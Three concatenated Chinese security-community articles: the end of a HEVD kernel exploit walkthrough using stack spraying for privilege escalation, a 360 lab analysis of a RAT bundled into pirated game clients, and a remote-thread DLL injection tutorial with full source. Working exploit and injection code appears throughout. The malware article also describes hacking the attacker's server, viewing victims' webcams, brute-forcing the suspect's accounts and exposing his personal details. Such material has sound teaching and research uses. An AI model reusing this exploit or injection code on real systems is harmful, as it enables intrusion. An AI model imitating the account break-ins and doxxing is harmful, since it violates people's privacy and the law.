DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0+1;
DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}
运行效果如下，因为有异常处理机制，所以这里并不会蓝屏
0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x97E789C8
[+] UninitializedStackVariable.Value: 0x00000002
[+] UninitializedStackVariable.Callback: 0x00000000
[+] Triggering Uninitialized Stack Variable Vulnerability
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
我们在`HEVD!TriggerUninitializedStackVariable+0x8c`比较处下断点运行查看
1: kd> u 8D6A3F86
HEVD!TriggerUninitializedStackVariable+0x8c [c:\hacksysextremevulnerabledriver\driver\uninitializedstackvariable.c @ 119]:
8d6a3f86 39bdf8feffff cmp dword ptr [ebp-108h],edi
8d6a3f8c 7429 je HEVD!TriggerUninitializedStackVariable+0xbd (8d6a3fb7)
8d6a3f8e ff95f8feffff call dword ptr [ebp-108h]
8d6a3f94 eb21 jmp HEVD!TriggerUninitializedStackVariable+0xbd (8d6a3fb7)
8d6a3f96 8b45ec mov eax,dword ptr [ebp-14h]
8d6a3f99 8b00 mov eax,dword ptr [eax]
8d6a3f9b 8b00 mov eax,dword ptr [eax]
8d6a3f9d 8945e4 mov dword ptr [ebp-1Ch],eax
1: kd> ba e1 8D6A3F86
我们断下来之后用`dps esp`可以看到我们的 Value 和 Callback ，单步几次观察，可以发现确实已经被SEH异常处理所接手
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x8FB049C8
[+] UninitializedStackVariable.Value: 0x00000002
[+] UninitializedStackVariable.Callback: 0x00000000
[+] Triggering Uninitialized Stack Variable Vulnerability
Breakpoint 0 hit
HEVD!TriggerUninitializedStackVariable+0x8c:
8d6a3f86 39bdf8feffff cmp dword ptr [ebp-108h],edi
3: kd> dps esp
8fb049b8 02da71d7
8fb049bc 88b88460
8fb049c0 88b884d0
8fb049c4 8d6a4ca4 HEVD! ?? ::NNGAKEGL::`string'
8fb049c8 00000002 => UninitializedStackVariable.Value
8fb049cc 00000000 => UninitializedStackVariable.Callback
8fb049d0 8684e1b8
8fb049d4 00000002
8fb049d8 8fb049e8
8fb049dc 84218ba9 hal!KfLowerIrql+0x61
8fb049e0 00000000
8fb049e4 00000000
8fb049e8 8fb04a20
8fb049ec 83e7f68b nt!KiSwapThread+0x254
8fb049f0 8684e1b8
8fb049f4 83f2ff08 nt!KiInitialPCR+0x3308
8fb049f8 83f2cd20 nt!KiInitialPCR+0x120
8fb049fc 00000001
8fb04a00 00000000
8fb04a04 8684e1b8
8fb04a08 8684e1b8
8fb04a0c 00000f8e
8fb04a10 c0802000
8fb04a14 8fb04a40
8fb04a18 83e66654 nt!MiUpdateWsle+0x231
8fb04a1c 7606a001
8fb04a20 00000322
8fb04a24 00000129
8fb04a28 00000129
8fb04a2c 86c08220
8fb04a30 00000000
8fb04a34 8670f1b8
3: kd> p
HEVD!TriggerUninitializedStackVariable+0xbd:
8d6a3fb7 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh
3: kd> p
HEVD!TriggerUninitializedStackVariable+0xc4:
8d6a3fbe 8bc7 mov eax,edi
3: kd> p
HEVD!TriggerUninitializedStackVariable+0xc6:
8d6a3fc0 e894c0ffff call HEVD!__SEH_epilog4 (8d6a0059)
## 栈喷射(Stack Spray)
因为程序中会调用回调函数，所以我们希望的是把回调函数设置为我们shellcode的位置，其实如果这里不对回调函数进行验证是否为0，我们可以考虑直接在0页构造我们的shellcode，但是这里对回调函数进行了限制，就需要换一种思路
#endif
//
// Call the callback function
//
if (UninitializedMemory.Callback)
{
UninitializedMemory.Callback();
}
我们需要把回调函数的位置修改成不为0的地址，并且地址指向的是我们的shellcode，这里就需要用到一个新的方法，栈喷射，[j00ru师傅的文章](https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/)很详细的讲解了这个机制，我简单解释一下，我们始终是在用户模式干扰内核模式，首先你需要了解内核栈和用户栈的结构，然后了解下面这个函数是如何进行栈喷射的，函数原型如下
#define COPY_STACK_SIZE 1024
NTSTATUS
NtMapUserPhysicalPages (
__in PVOID VirtualAddress,
__in ULONG_PTR NumberOfPages,
__in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray
)
(...)
ULONG_PTR StackArray[COPY_STACK_SIZE];
因为`COPY_STACK_SIZE`的大小是1024，函数的栈最大也就 4096byte ，所以我们只需要传 1024 * 4 = 4096
的大小就可以占满一页内存了，当然我们传的都是我们的shellcode的位置
PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
memset(StackSpray, 0x41, 1024 * 4);
printf("[+]Spray address is 0x%p\n", StackSpray);
for (int i = 0; i < 1024; i++)
{
*(PDWORD)(StackSpray + i) = (DWORD)& ShellCode;
}
NtMapUserPhysicalPages(NULL, 0x400, StackSpray);
我们来看看我们完整的exp的运行情况，我们还是在刚才的地方下断点，可以清楚的看到我们的shellcode已经被喷上去了
0: kd> ba e1 8D6A3F86
0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x92E2F9C8
[+] UninitializedStackVariable.Value: 0x00931040
[+] UninitializedStackVariable.Callback: 0x00931040
[+] Triggering Uninitialized Stack Variable Vulnerability
Breakpoint 0 hit
8d6a3f86 39bdf8feffff cmp dword ptr [ebp-108h],edi
2: kd> dd 0x92E2F9C8 // 查看函数参数
92e2f9c8 00931040 00931040 00931040 00931040
92e2f9d8 00931040 00931040 00931040 00931040
92e2f9e8 00931040 00931040 00931040 00931040
92e2f9f8 00931040 00931040 00931040 00931040
92e2fa08 00931040 00931040 c0802000 92e2fa40
92e2fa18 83e66654 7606a001 00000322 000000da
92e2fa28 000000da 866cc220 00000000 00931040
92e2fa38 00000005 c0802d08 92e2fa74 83e656cc
2: kd> u 00931040 // 查看喷射的是否是shellcode
00931040 53 push ebx
00931041 56 push esi
00931042 57 push edi
00931043 60 pushad
00931044 64a124010000 mov eax,dword ptr fs:[00000124h]
0093104a 8b4050 mov eax,dword ptr [eax+50h]
0093104d 8bc8 mov ecx,eax
0093104f ba04000000 mov edx,4
最后我们整合一下代码就可以提权了，总结一下步骤
* 初始化句柄等结构
* 将我们准备喷射的栈用Shellcode填满
* 调用`NtMapUserPhysicalPages`进行喷射
* 调用`TriggerUninitializedStackVariable`函数触发漏洞
* 调用cmd提权
提权效果如下，详细的代码参考[这里](https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/Uninitialized-Stack-Variable/Uninitialized-Stack-Variable/Uninitialized-Stack-Variable.c)
# 0x03：后记
这个漏洞利用的情况比较苛刻，但是挺有意思的，也是第一次见栈喷射，还是从j00ru的文章中学到了许多新奇的东西，多看看国外的文档自己的英语水平也慢慢好起来了，视野也更宽阔了 | 社区文章 |
# 网络小黑揭秘系列之-------私服牧马人
|
##### 译文声明
本文是翻译文章，文章来源：360天眼安全实验室
译文仅供参考，具体内容表达以及含义原文为准。
**引子**
人在做,天在看。
对360天眼实验室来说,一次次的扒皮往往都是从一个最简单的线索开始,比如一个IP、域名或程序样本。这回的也不例外,引起我们注意的是一个程序样本,名为“仙侠迷失之横扫千军.exe”。嗯,看起来是个游戏程序,执行起来也是:
不过有点不对劲,开玩游戏的同时竟然触发了我们基于网络的木马检测告警,使用了Gh0st/大灰狼的通信协议结构。其实,绑了木马的应用程序并不鲜见,前一阵子沸沸扬扬的Xcode后门事件就是这个套路,让我们看看这回的私货怎么样。
样本分析
搞清楚样本的行为并不困难,攻击者用捆绑器在应用中植入了大灰狼远控木马,样本执行以后一系列的动作基本如下图所示:
每一个涉及到的样本的细节剖析如下,供同行们参考。
样本A
MD5:d28e9b3f910c32398915431790b976e4
大小:36384Kb
这是一个被做过捆绑的传奇私服程序作为Dropper,运行后,它会释放一个真正的传奇私服客户端到Temp目录下:
当然,还会买一送一地再释放一个DhlServer.exe到Temp目录下,以下我们将其称为样本B:
释放的传奇私服客户端和DhlServer.exe(样本B)会同时运行起来:
完成这些以后,样本A退出:
样本B
DhlServer.exe
MD5:ff9ff955b6cd684d3f0234217182957d
大小:28Kb
在样本B的执行入口处,程序会解密一个字符串,其实是后续代码的下载地址:
以下是加密字符串的解密算法:首先base64解码,然后单字节加0x7A,最单字节异或0x59
Base64解码前:
WinHex里的密文数据:
按如上的解密算法处理后:
显然这是一个URL:[http://120.26.**.**/NetSyst88.dll](http://120.26.38.65/NetSyst88.dll),我们把这个dll下载回来:
文件内容做了加密:
样本B会构造一个名字为DirPath的变量:C:ProgramFilesAppPatchNetSyst88.dll,如图:
然后通过CreateFileA判断C:ProgramFilesAppPatchNetSyst88.dll文件是否存在:
如果
CreateFile的返回值不是-1,说明存在此文件,接着样本B会对文件做一个简单的校验,先在文件里查找”SSSSSS”字符串,如果找到,往后找12个字节判断是否为”VID:2014-SV8”,如果是则校验通过,如图:
查看我们得到的NetSyst88.dll,文件末尾结构如图,符合内部的校验方法:
如果不存在该文件,或者校验失败,样本B就会从http://120.26.**.**/NetSyst88.dll地址把文件下载到本地:
下载成功后,通过GetFileSize获取文件的大小,VirtualAlloc出相应的内存空间:
读取文件内容到分配的空间中,开始解密读取到的数据:
解密密钥为“Kother599”,程序会循环生成0x400字节大小的字典:
生成字典的数据格式为:
与之前生成的密钥字典循环运算得到另外一个字典:
进入解密数据的循环,和生成的字典运算解密:
解密后得到的是一个PE文件,如图:
Dump出来,我们暂时称它为样本C,确认是一个加了UPX壳的dll,有2个导出函数,其中一个名为DllFuUpgradrs,如图:
样本B会把解密后的数据(样本C)在内存中加载起来:
获取导出函数DllFuUpgradrs的地址调用,传递了2个参数:第一个为加密过的数据块,第二个为字符串“Cao360yni”(听起来很不和谐):
样本C
从样本B中Dump出来的dll文件,这个明文版本实际运行时并不落地。
MD5:b7da58410b6db28daf753815f2cc997c
大小:244Kb
从提取的字符串来看是一个远控的核心模块:
程序不但包含了远控的主要核心代码,而且还包含了传统远控Droper的安装木马服务端的功能,如此的设计主要有两个考虑:
1、尽量减小样本B的体积(只有28K),方便传播和做针对性的免杀
2、把尽可能多的代码放到样本C中,因为样本C在磁盘上落地的为加密版本,运行时被加载到内存解密执行,杀毒软件不能查杀加密后的样本C,以达到远控核心模块免杀的目的
样本C的DllFuUpgradrs导出函数的第一个参数是加密的字符串,解密后应该是上线配置信息的数据结构:
入口出调用的解密算法和样本B的字符串的解密算法一样:
解密后得到明文的上线配置信息:
上线地址为zlailxc.oicp.net,这是一个动态域名,而动态域名一般会被杀毒工具重点关注,所以很多恶意代码利用ip138网站通过Web查询的方式进行解析,这样杀毒工具的网络拦截就会失效,因为ip138是一个受信任的站点。样本C会提交如下的请求:
http://www.ip138.com/ips138.asp?ip=zlailxc.oicp.net &action=2
在返回的数据中去查找“>>”和“</”之间的数据获取木马的上线IP地址:
以下是对上线结构的描述:
结构内容
|
结构含意
---|---
2016
|
上线端口
T150812
|
时间
Wsfroi czdfqpba
|
随机服务名
监测和监视新硬件设备并自动更新设备驱动。
|
服务描述
%SystemRoot%
|
文件释放路径
Terms.EXE.exe
|
释放的文件名
默认分组
|
上线分组
http://www.ip138.com/ips138.asp?ip=%s&action=2
|
ip138上线方式
>>
|
ip138上线方式的开始标志
</
|
ip138上线方式的结束标志
http://dns.aizhan.com/?q=%s
|
aizhan上线方式
,
|
aizhan上线方式的开始标志
http://user.qzone.qq.com/%s
|
QQ空间上线,标志是固定的
获取上线IP后,木马服务端会去连接这个IP与远控的控制端进行通信,下图为远控的接收数据并执行指定指令的函数,包含所有主流远控的功能:
远控服务端植入到受害者电脑上后,受害者的电脑就成了傀儡,执行各种攻击者指定的恶意操作,比如键盘记录窃取密码、屏幕截取、摄像头查看(接下来你就能看到)等等。
**
**
**反制探查**
从样本分析我们得到了上线域名,接下来我们挖挖域名对应的服务器。
通过查询360天眼威胁情报中心的基础数据,取得了动态域名曾经绑定过的IP地址信息,其中最近绑定的IP地址是120.26.**.**:
该IP就是木马的上线的IP地址,对服务器探查了一番,发现存在一个可利用的漏洞并成功渗透进服务器,发现上面运行着大灰狼远控控制端,如图:
服务器上运行的木马控制端监听了2个端口:2016和2017。
查看监听2017端口上线的机器,发现都是架设私服的服务器系统,如图:
而监听2016端口呢,上线的机器一般都是家庭用户或者网吧用户(估计是私服玩家),打开几个摄像头,果然发现好几个都是在网吧玩私服,如图:
所以,攻击者应该配置了2个木马:一个配置2016端口,捆绑到私服的客户端上,私服玩家下载的私服客户端中招上线2016端口;另一个配置2017端口,捆绑到用于搭建私服的软件包里,专门服务于搭建私服服务器的人,使用这个植入木马的私服软件包完成搭建的同时服务器也就连接2017端口到攻击者的服务器报到。不出所料,我们在服务器D盘的一个叫“好”文件夹里发现了搭建私服的工具:
对搭建私服的工具进行分析,发现这个文件也同样被捆绑了DhlServer.exe,
提取出来这个DhlServer.exe,确认这个样本连接的是2017端口:
攻击者除了捆绑木马到私服客户端使私服玩家中毒外,还通过自己开设私服的私服客户端以更新的方式下发木马:
攻击者通过对私服玩家和私服开设者的双重控制,想干什么就取决于攻击者的心情和需求了,我们没有进一步挖掘下去。多少用户受影响?基于360天眼威胁情报中心的数据,我们确认受木马感染的机器数量在10000台以上。谁是可能的幕后黑手呢?接着往下看。
**顺藤摸瓜**
发现上线域名是个很好的突破口,历史记录是分析者的好朋友,下面就是证明。
通过搜索引擎搜索动态域名:zlailxc.oicp.net,定位了一个猪八戒网的注册账号:zlailxc
注册人是一个湖北荆门的人,推测账号的结构可能为:zl [名字拼音首字母] ai [爱] lxc [名字拼音首字母]
常用邮箱: 895*****@qq.com
手机号 : 156*****520
根据账号名随手试了几个字典里常见的字串,成功,一个很深情的全数字密码:5**1*1* ,与上线域名遥相呼应。
登陆上去发现绑定的邮箱地址为:895***[email protected],嫌疑人的QQ号看来是895***90,具体地址标为:湖北荆门钟祥,如图:
搜索了一下QQ号,QQ资料如图,所有的信息没有对外公开,说明嫌疑人还是比较注意个人安全的:
查询QQ群关系数据库,发现嫌疑人的名字叫刘星*,和刚才的账号中的lxc吻合,而且嫌疑人也加入了私服技术(菜鸟群),也与上文的样本A的来源吻合:
这样,账号的含义更明确了:zl [估计是他女朋友的名字] ai [爱] lxc [刘星*]。
通过搜索引擎搜索QQ号发现了一条记录,是在钟祥论坛发的帖子,如图:
帖子的标题为:“求搭建传奇私服的技术”,如图:
嫌疑人回过帖子,他的论坛的昵称为liuhong*,可能是根据刘星*的名字编的一个名字,发现嫌疑人在2012年已经掌握传奇私服的架设技术了:
确认钟祥是湖北荆州下辖的一个县级市:
还是之前爆破的那个密码,成功登录进嫌疑人在钟祥论坛的账号,但是所有操作都显示以下页面,可能是账号被论坛封了,如图:
通过搜索QQ号,还发现嫌疑人之前还注册过一个域名:[www.yaoqi**.com](http://www.yaoqi%2A%2A.com/):
此域名之前就是一个私服站:
查找这个域名的信息,发现QQ号,电话号码为:138*****337:
查询电话号码归属地,发现电话号码是湖北荆门的,应该是嫌疑人的电话号码:
如何利用手机号得到更多的信息呢?支付宝其实是个不错的渠道,查找手机号,发现手机号绑定了多个支付宝账户,第一个支付宝账户的名字和嫌疑人的名字符合,第四个支付宝的名字虽然打星了,但是可以猜测很可能是女伴的名字,叫*琳,更进一步明确动态域名账号的含意:zl
[*琳] ai [爱] lxc [刘星*]:
打开第一账号,找到嫌疑人的照片,挺帅一个小伙子,干点正经事多好:
再次查询[www.yaoqi**.com](http://www.yaoqi%2A%2A.com/)域名的whois信息,发现域名的所有者为liu
xing**** liu:
对联系人进行反查,还发现了另外一个域名 www.boy**.net:
Google搜索了一下yaoqi**.com,发现这个私服站可能被挂过博彩的黑页,如图:
**一些总结**
我们现在看到的整个事件线:
1、攻击者在私服搭建者用到的工具中捆绑远控木马,将工具共享推广出去,等待其他的私服架设者下载使用,这种污染工具源的攻击方式与Xcode后门事件相同。
2、攻击者守株待兔等待使用后门架站工具的私服上线,进行控制。
3、攻击者在自己的私服登陆器更新的同时向私服玩家推送木马。
4、攻击者修改被控私服的客户端登陆器,捆绑上木马,等待他们的私服玩家中招。
如下图所示:
网络是一个魔鬼出没的世界,私服挺象一片沼泽,灰色地带可能隐藏着更多的魔鬼,有时候你真的不知道是你在玩游戏还是游戏在玩你。
**广告时间**
好消息是360天眼实验室还在招人,恶意代码分析方向,要求扎实的二进制逆向分析功底,有各种恶意代码的处理经验更好。在360的海量样本及各类数据支持下,你能见识到其他地方根本没机会触及的东西,欢迎一起来玩。 | 社区文章 |
# 概述：
上一篇文章学习了使用Windows的消息钩子钩取进程的消息并对其进行处理，在这个操作中，我们注入DLL的方式是通过LoadLibrary直接在系统中加载DLL，通过检查目标进程的进程名来判断是否钩取其消息。这种方式非常简单直接，但是利用的范围不大。
对于DLL注入来说，还存在其他的几种注入方式，这一次学习的是通过在目标进程中创建一个远程线程，通过向远程线程中传入对应的DLL，而直接将DLL加载到目标进程的虚拟空间之中。
远程线程的概念大概是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间 。
利用远程线程注入DLL这种方式针对性更强且运用也更为广泛。
这次的实验程序有两个：
1. 执行注入操作的.cpp文件(inject.cpp)
2. 被注入的.dll文件（dllmain.dll）
下面来分别分析这两个程序的代码
# DllMain.dll
首先还是先给出总的源代码，然后进行分析：
#include"windows.h"
#include"tchar.h"
#pragma comment(lib,"urlmon.lib")
#define URL (L"http://www.naver.com/index.html")
#define FILE_NAME (L"index.html")
HMODULE hMod = NULL;
DWORD WINAPI ThreadProc(LPVOID lParam)
{
TCHAR szPath[_MAX_PATH] = { 0, };
if (!GetModuleFileName(hMod, szPath, MAX_PATH))
{
return FALSE;
}
TCHAR* p = _tcsrchr(szPath, '\\');
if (!p)
{
return FALSE;
}
_tcscpy_s(p + 1, _MAX_PATH, FILE_NAME);
URLDownloadToFile(NULL, URL, szPath, 0, NULL);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD fwdReason, LPVOID lpvReserve)
{
HANDLE hThread = NULL;
hMod = (HMODULE)hInstance;
switch (fwdReason)
{
case DLL_PROCESS_ATTACH:
OutputDebugString(L"start injection\n");
hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
CloseHandle(hThread);
break;
default:
break;
}
return TRUE;
}
程序的逻辑还是比较简单的，主要如下：
1. 远程线程需要执行的主要操作，本次实验中是完成一次下载操作（ThreadProc）
2. DLL的入口点函数（DllMain）
下面来具体分析每个部分
## ThreadProc：
这个函数是之后在.cpp程序中创建了远程线程后，这个远程线程要进行的具体操作，可以理解为远程线程要完成的主要功能（也就是要完成下载操作的函数）
这个函数类似于DLL的入口点函数，是有一个固定的定义原型的，可以在MSDN上查到如下：
DWORD WINAPI ThreadProc(
_In_ LPVOID lpParameter
);
这个函数原型只有一个参数：
* lpParameter
这个参数就是在线程函数中可以自定义传入的函数参数，类型为一个VOID指针（
**这里有一个问题：常规使用到的ThreadProc函数参数只有一个，不知道是否能有多个，希望有清楚的大佬可以赐教** ）
ThreadProc函数的主要逻辑是先获取模块所在的文件路径，截取这个文件路径的中间部分与宏定义的目标文件名（也就是FILE_NAME）组成为后面下载函数需要使用到的一个路径参数。
然后调用了一个API函数URLDownloadToFile，这个就是一个下载文件的API函数，它包含在urlmon.lib这文件中，也就是在程序开头进行包含操作的那个lib文件。
这个API的函数原型在MSDN上查到如下：
HRESULT URLDownloadToFile(
LPUNKNOWN pCaller,
LPCTSTR szURL,
LPCTSTR szFileName,
_Reserved_ DWORD dwReserved,
LPBINDSTATUSCALLBACK lpfnCB
);
* pCaller：指向ActiveX的组件接口，如果没有调用的ActiveX的操作的话直接使用NULL即可
* szURL：目标网址，也就是需要从什么地方下载文件
* szFileName：文件下载后存放的路径，需要注意这个路径要包含下载后文件的文件名（也就是对应前将文件名和路径组合在一起）
* dwReserved：保留参数，设为0即可
* lpfnCB：回调接口，一般设置为NULL即可
这部分的代码和注释如下：
DWORD WINAPI ThreadProc(LPVOID lParam) //创建线程回调函数
{
TCHAR szPath[_MAX_PATH] = { 0, }; //文件路径
if (!GetModuleFileName(hMod, szPath, MAX_PATH)) //查找当前应用程序所在文件位置
{
return FALSE;
}
TCHAR* p = _tcsrchr(szPath, '\\'); //获取文件路径
if (!p)
{
return FALSE;
}
_tcscpy_s(p + 1, _MAX_PATH, FILE_NAME); //形成一个完整的文件保存路径
URLDownloadToFile(NULL, URL, szPath, 0, NULL); //下载文件
return 0;
}
## DllMain：
这一部分的函数结构与上一篇中提到的DllMain函数的结构是一样的，这里就不多赘述，主要逻辑就是当DLL被装入内存后执行一个CreateThread的API函数，也就是创建线程的函数，这里要厘清一个逻辑顺序：这里创建的线程与远程线程是两个东西，这个线程是为了让ThreadProc能够正常执行，而远程线程是为了让宿主进程装载我们自定义的DLL。
这里主要提一下这个CreateThread的API函数，它在MSDN中可以查到如下：
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
1. lpThreadAttributes：指向安全属性结构体的指针，这里一般设为NULL
2. dwStackSize：线程堆栈的初始大小，一般是设置为0，使用可执行文件的默认大小
3. lpStartAddress：指向线程执行函数的指针，也就是指向ThreadProc的指针
4. lpParameter：ThreadProc函数的参数，也就是对应其函数原型中那个LPVOID lParam参数（在传入时可以将指针类型进行强转，强转为LPVOID，可以避免一些bug）
5. dwCreationFlags：控制线程创建的标志，有三种选择，具体参考MSDN，这里选择设为0，即创建后线程立即运行。
6. lpThreadId：指向接收线程标识符的变量的指针，如果此参数为 NULL，则不返回线程标识符。
函数执行成功后函数会返回新线程的句柄，所以可以通过其返回值检查线程是否打开成功。
# Inject.cpp：
首先是总的源码，然后分步进行分析：
#include"windows.h"
#include"tchar.h"
#include"stdio.h"
#include"Urlmon.h"
BOOL injectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
HMODULE hMod = NULL;
LPVOID lRemoteBuf = NULL;
DWORD BufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
_tprintf(L"进程打开失败");
return FALSE;
}
lRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, lRemoteBuf, (LPVOID)szDllPath, BufSize, NULL);
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
BOOL EnableDebugPriv()
{
HANDLE hToken;
LUID Luid;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
printf("提权失败。");
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid))
{
CloseHandle(hToken);
printf("提权失败。");
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = Luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
{
printf("提权失败。");
CloseHandle(hToken);
}
else
{
printf("提权成功！");
return TRUE;
}
}
int _tmain(int argc, _TCHAR* argv[]) {
EnableDebugPriv();
if (injectDll((DWORD)_tstol(argv[1]), argv[2]))
{
printf("注入成功");
}
if (!(injectDll((DWORD)_tstol(argv[1]), argv[2])))
{
printf("注入失败");
}
return 0;
}
程序的逻辑也比较简单：
1. 完成注入操作的函数，也就是将自定义的DLL注入目标进程需要进行的操作（injectDll）
2. 提权函数，在Windows7、Windows10等版本的系统中进行DLL注入时，如果不对注入程序进行提权的话可能会失败（EnableDebugPriv）
3. 主函数，执行前面定义的两个函数
下面具体进行分析
## injectDll：
这个函数的执行流程大概如下：
1. 打开目标进程的进程句柄
2. 为线程函数的参数分配空间（这里的线程函数参数为需要注入的DLL的路径），然后将参数写入虚拟空间
3. 加载kernel32.dll，从中获取LoadLibraryW的实际地址
4. 在目标进程中创建远程线程，执行装载DLL的操作
首先需要注意的就是虚拟空间的分配与写入这个操作，在很多DLL注入操作中都要涉及到这对操作，其中使用到的两个API分别为：
VirtualAllocEx，在MSDN上可以查到如下：
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
* hProcess：目标进程的句柄，API会在这个进程下分配虚拟空间
* lpAddress：需要分配内存的起始地址，这里一般设为NULL，让API自行决定分配的位置
* dwSize：需要分配的内存大小
* flAllocationType：内存分配的类型， **这里将其设置为MEM_COMMIT，将分配的虚拟内存映射到物理内存上（不然进程怎么读取呢）**
* flProtect：分配的内存页的保护措施，或者说对其进行权限设置，这里将其设置为 **PAGE_READWRITE** ，将分配的内存设置可读可写权限。
WriteProcessMemory，对应前面对内存的分配，这是在目标进程的内部中写入的操作，在MSDN上可以查到如下：
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
* hProcess：目标进程的句柄，API会在这个进程中写入数据
* lpBaseAddress：要将数据写入的目标起始地址
* lpBuffer：需要写入的数据，注意类型是一个LPVOID指针，在传入参数时可以强制转换一下类型
* nSize：需要写入的大小
* lpNumberOfBytesWritten：实际长度的大小，一般置为NULL
这里可以思考一下为什么要进行这样一对操作呢？因为我们是需要在目标进程中注入我们自己的DLL，而我们注入DLL的方式是通过远程线程来执行LoadLibrary的操作将对应DLL装入目标内存，
**而LoadLibrary函数是需要参数的，这个参数也就是DLL文件的路径在目标进程的内存中是没有的，所以需要我们自行分配内存和写入数据**
接着再思考一个问题：为什么要获取LoadLibrary这个函数的真实地址呢？因为目标进程中不一定调用了这个API，且就算其调用了这个API我们也无法从目标进程中获取对应的地址，
**但是Windows上的应用进程大部分都装载了kernel32.dll这个DLL库，而这个库在各个进程中的装载地址是一样的，那么我们就可以通过直接在程序中装载kernel32.dll这个库并通过GetProcAddress这个API来找到LoadLibrary这个函数的地址**
，由于这个地址在各个进程中是相同的，那么我们就可以直接在目标进程中使用这个函数了
最后就是创建远程线程的API：CreateRemoteThread，这个函数可以在MSDN上查到如下：
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
* hProcess：目标进程的句柄，函数将在这个进程下创建远程线程
* lpThreadAttributes：指向线程安全属性的描述符，这里一般设为NULL
* dwStackSize：指定线程初始的堆栈大小，设为0则使用系统默认的大小
* lpStartAddress：远程线程需要执行的 **LPTHREAD_START_ROUTINE** 类型的函数指针
* lpParameter：远程线程需要执行的函数的参数
* dwCreationFlags：线程创建后的标志，这里设为0，也就是线程建立后立即运行
* lpThreadId：指向接收线程标识符的变量的指针，一般设置为NULL，即不返回线程标识符
**这里要厘清一个问题就是这个远程线程创建后执行的操作是在目标进程中LoadLibrary，将DLL注入目标进程，注意不要与前面DLL中的CreateThread进行的操作搞混了。**
这一部分代码和注释如下：
BOOL injectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess = NULL; //开启notepad.exe的进程句柄
HANDLE hThread = NULL; //开启线程后的句柄
HMODULE hMod = NULL; //加载DLL后的模块句柄
LPVOID lRemoteBuf = NULL; //用于指向后面分配的虚拟内存的指针
DWORD BufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR); //需要的内存大小
LPTHREAD_START_ROUTINE pThreadProc; //指向pThreadProc这个特定函数的指针
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) //打开需要注入的进程
{
_tprintf(L"进程打开失败");
return FALSE;
}
lRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE); //为文件路径字符串分配虚拟内存
WriteProcessMemory(hProcess, lRemoteBuf, (LPVOID)szDllPath, BufSize, NULL); //向分配的虚拟内存中写入文件路径
hMod = GetModuleHandle(L"kernel32.dll"); //在本程序中获取kernel32.dll的模块句柄
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");//找到LoadLibraryW的真实地址
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lRemoteBuf, 0, NULL); //创建远程线程，在目标进程中执行LoadLibrary注入DLL
WaitForSingleObject(hThread, INFINITE); //等待线程执行
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
## EnableDebugPriv
这里是提权函数，对当前程序进行提权，在很多情况下，默认权限的程序是会注入失败的（我第一次在Win7下实验就提示权限不足）
函数的流程大致如下：
1. 获取当前与当前进程相关联的用户的访问令牌
